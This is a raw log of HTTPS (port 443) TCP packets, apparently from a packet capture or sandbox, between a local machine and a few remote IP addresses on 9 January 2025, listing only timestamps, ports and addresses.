Jan 9, 2025 13:19:11.366379023 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.407335043 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.412549019 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.412564039 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.413794994 CET	443	49717	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.414268017 CET	49717	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.414278030 CET	443	49717	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.415150881 CET	443	49717	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.415239096 CET	49717	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.415759087 CET	49717	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.415808916 CET	443	49717	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.415883064 CET	49717	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.415889025 CET	443	49717	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.443685055 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.443949938 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.443979025 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.444850922 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.444927931 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.445185900 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.445250034 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.445316076 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.460547924 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.460566044 CET	49717	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.471210957 CET	443	49719	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.471653938 CET	49719	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.471666098 CET	443	49719	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.475142956 CET	443	49719	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.475214958 CET	49719	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.475656986 CET	49719	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.475831032 CET	443	49719	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.475946903 CET	49719	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.487334967 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.492589951 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.492609978 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.519330978 CET	443	49719	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.524552107 CET	49719	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.524569988 CET	443	49719	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.540700912 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.572602034 CET	49719	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.628592968 CET	443	49713	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.628617048 CET	443	49713	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.628691912 CET	443	49713	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.628806114 CET	49713	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.630073071 CET	49713	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.630073071 CET	49713	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.630471945 CET	49723	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.630523920 CET	443	49723	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.630616903 CET	49723	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.631042957 CET	49723	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.631059885 CET	443	49723	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.782550097 CET	443	49714	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.782615900 CET	443	49714	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.782659054 CET	443	49714	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.782757998 CET	49714	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.782788038 CET	443	49714	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.782799959 CET	49714	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.782840967 CET	49714	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.782845020 CET	443	49714	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.782885075 CET	49714	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.782922029 CET	443	49714	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.782965899 CET	49714	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.783304930 CET	443	49717	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.784914970 CET	443	49717	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.785022020 CET	49717	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.785851955 CET	49714	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.785865068 CET	443	49714	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.786253929 CET	49724	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.786325932 CET	443	49724	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.786398888 CET	49724	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.786544085 CET	49717	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.786557913 CET	443	49717	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.786931992 CET	49725	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.786958933 CET	443	49725	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.787118912 CET	49725	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.787369967 CET	49724	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.787395954 CET	443	49724	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.787717104 CET	49725	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.787730932 CET	443	49725	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.829714060 CET	443	49719	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.829777956 CET	443	49719	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.829917908 CET	49719	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.829930067 CET	443	49719	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.830018997 CET	49719	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.830648899 CET	443	49719	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.830781937 CET	443	49719	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.831048965 CET	49719	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.834043026 CET	49719	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.834054947 CET	443	49719	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.834490061 CET	49726	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.834526062 CET	443	49726	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.834602118 CET	49726	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.835326910 CET	49726	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.835340023 CET	443	49726	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.841022015 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.841039896 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.841048002 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.841075897 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.841098070 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.841108084 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.841233015 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.841233015 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.841279030 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.841298103 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.841339111 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.842367887 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.842375040 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.842401028 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.842449903 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.842456102 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.842466116 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.891576052 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.939594030 CET	49713	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.939619064 CET	443	49713	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.953876019 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.953883886 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.953926086 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.953963041 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.953968048 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.953974962 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.954020023 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.954787970 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.954797983 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.954822063 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.954847097 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.954853058 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.954874992 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.954893112 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.956275940 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.956315041 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.956357002 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.956357956 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.956418037 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.957127094 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.957134008 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.957634926 CET	49727	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.957668066 CET	443	49727	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.957750082 CET	49727	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.958925962 CET	49727	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.958934069 CET	443	49727	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.977543116 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.977564096 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.977570057 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.977603912 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.977621078 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.977632046 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.977726936 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.977750063 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.977758884 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.977772951 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.977781057 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.977802038 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.977808952 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.977816105 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.977834940 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.977859020 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.978858948 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.978876114 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.979377985 CET	49728	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.979410887 CET	443	49728	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.979475975 CET	49728	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.979959011 CET	49728	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.979974031 CET	443	49728	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.328540087 CET	443	49723	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.328967094 CET	49723	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.328999996 CET	443	49723	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.329319954 CET	443	49723	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.329718113 CET	49723	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.329781055 CET	443	49723	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.329942942 CET	49723	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.371349096 CET	443	49723	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.430608988 CET	49673	443	192.168.2.16	204.79.197.203
Jan 9, 2025 13:19:12.495124102 CET	49730	443	192.168.2.16	216.58.212.132
Jan 9, 2025 13:19:12.495166063 CET	443	49730	216.58.212.132	192.168.2.16
Jan 9, 2025 13:19:12.495229959 CET	49730	443	192.168.2.16	216.58.212.132
Jan 9, 2025 13:19:12.495469093 CET	49730	443	192.168.2.16	216.58.212.132
Jan 9, 2025 13:19:12.495485067 CET	443	49730	216.58.212.132	192.168.2.16
Jan 9, 2025 13:19:12.496638060 CET	443	49725	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.496884108 CET	49725	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.496912003 CET	443	49725	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.497828007 CET	443	49725	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.497895002 CET	49725	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.498224974 CET	49725	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.498285055 CET	443	49725	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.498372078 CET	49725	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.498379946 CET	443	49725	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.526470900 CET	443	49726	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.526810884 CET	49726	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.526845932 CET	443	49726	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.530050039 CET	443	49726	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.530405998 CET	49726	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.530494928 CET	49726	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.530560970 CET	443	49726	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.530852079 CET	49726	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.530862093 CET	443	49726	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.542541027 CET	49725	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.564465046 CET	443	49724	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.564769030 CET	49724	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.564800024 CET	443	49724	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.565917969 CET	443	49724	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.566239119 CET	49724	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.566395998 CET	49724	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.566409111 CET	443	49724	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.574537039 CET	49726	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.611332893 CET	443	49724	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.621514082 CET	49724	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.669753075 CET	443	49727	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.670945883 CET	49727	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.670959949 CET	443	49727	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.671114922 CET	443	49723	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.671133995 CET	443	49723	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.671197891 CET	49723	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.671226025 CET	443	49723	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.671780109 CET	443	49723	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.671832085 CET	49723	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.671904087 CET	443	49727	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.671972036 CET	49727	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.672261953 CET	49723	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.672261953 CET	49723	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.672282934 CET	443	49723	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.672333956 CET	49723	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.672599077 CET	49731	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.672703028 CET	443	49731	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.672791958 CET	49731	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.673116922 CET	49727	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.673273087 CET	443	49727	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.673398972 CET	49731	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.673429966 CET	443	49731	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.673696995 CET	49727	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.673705101 CET	443	49727	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.717535019 CET	49727	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.782778025 CET	443	49728	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.783062935 CET	49728	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.783075094 CET	443	49728	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.783979893 CET	443	49728	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.784058094 CET	49728	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.784389973 CET	49728	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.784432888 CET	443	49728	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.784548998 CET	49728	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.784554958 CET	443	49728	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.828531981 CET	49728	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.935362101 CET	443	49726	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.935422897 CET	443	49726	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.935504913 CET	49726	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.935540915 CET	443	49726	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.935966015 CET	443	49726	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.936034918 CET	49726	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.936331034 CET	49726	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.936352015 CET	443	49726	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.936733007 CET	49732	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.936774969 CET	443	49732	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.936870098 CET	49732	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.937297106 CET	49732	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.937314034 CET	443	49732	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.940562963 CET	443	49725	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.940620899 CET	443	49725	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.940674067 CET	49725	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.942003012 CET	49725	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.942011118 CET	443	49725	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.942395926 CET	49733	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.942486048 CET	443	49733	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.942569017 CET	49733	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.942819118 CET	49733	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.942854881 CET	443	49733	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.980401993 CET	443	49724	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.980679035 CET	443	49724	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.980751991 CET	49724	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.980772972 CET	443	49724	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.980792999 CET	443	49724	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.980846882 CET	49724	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.981440067 CET	49724	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.981451988 CET	443	49724	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.981960058 CET	49734	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.981997967 CET	443	49734	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:12.982135057 CET	49734	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.982512951 CET	49734	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:12.982530117 CET	443	49734	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.024194956 CET	443	49727	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.024219036 CET	443	49727	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.024287939 CET	49727	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.024302006 CET	443	49727	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.024996042 CET	49727	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.025023937 CET	443	49727	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.025072098 CET	49727	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.025371075 CET	49735	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.025445938 CET	443	49735	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.025525093 CET	49735	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.025768995 CET	49735	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.025785923 CET	443	49735	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.150795937 CET	443	49728	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.150821924 CET	443	49728	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.150827885 CET	443	49728	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.150912046 CET	443	49728	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.150933981 CET	49728	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.150965929 CET	443	49728	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.150976896 CET	49728	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.151710987 CET	443	49728	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.151763916 CET	49728	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.151861906 CET	49728	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.151873112 CET	443	49728	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.152378082 CET	49736	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.152417898 CET	443	49736	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.152818918 CET	49736	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.152991056 CET	49736	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.153003931 CET	443	49736	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.156630039 CET	443	49730	216.58.212.132	192.168.2.16
Jan 9, 2025 13:19:13.156935930 CET	49730	443	192.168.2.16	216.58.212.132
Jan 9, 2025 13:19:13.156960964 CET	443	49730	216.58.212.132	192.168.2.16
Jan 9, 2025 13:19:13.158699989 CET	443	49730	216.58.212.132	192.168.2.16
Jan 9, 2025 13:19:13.158776999 CET	49730	443	192.168.2.16	216.58.212.132
Jan 9, 2025 13:19:13.159738064 CET	49730	443	192.168.2.16	216.58.212.132
Jan 9, 2025 13:19:13.159821987 CET	443	49730	216.58.212.132	192.168.2.16
Jan 9, 2025 13:19:13.211622953 CET	49730	443	192.168.2.16	216.58.212.132
Jan 9, 2025 13:19:13.211651087 CET	443	49730	216.58.212.132	192.168.2.16
Jan 9, 2025 13:19:13.259526014 CET	49730	443	192.168.2.16	216.58.212.132
Jan 9, 2025 13:19:13.377536058 CET	443	49731	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.377888918 CET	49731	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.377901077 CET	443	49731	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.378412008 CET	443	49731	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.378822088 CET	49731	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.378900051 CET	443	49731	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.379012108 CET	49731	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.419342041 CET	443	49731	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.653485060 CET	443	49732	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.653788090 CET	443	49733	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.653877020 CET	49732	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.653904915 CET	443	49732	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.654032946 CET	49733	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.654052973 CET	443	49733	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.654371977 CET	443	49733	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.654803991 CET	49733	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.654856920 CET	443	49733	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.654988050 CET	49733	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.655019045 CET	443	49732	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.655311108 CET	49732	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.655405045 CET	49732	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.655411005 CET	443	49732	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.655505896 CET	443	49732	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.695337057 CET	443	49733	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.707546949 CET	49732	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.725984097 CET	443	49731	89.46.108.67	192.168.2.16
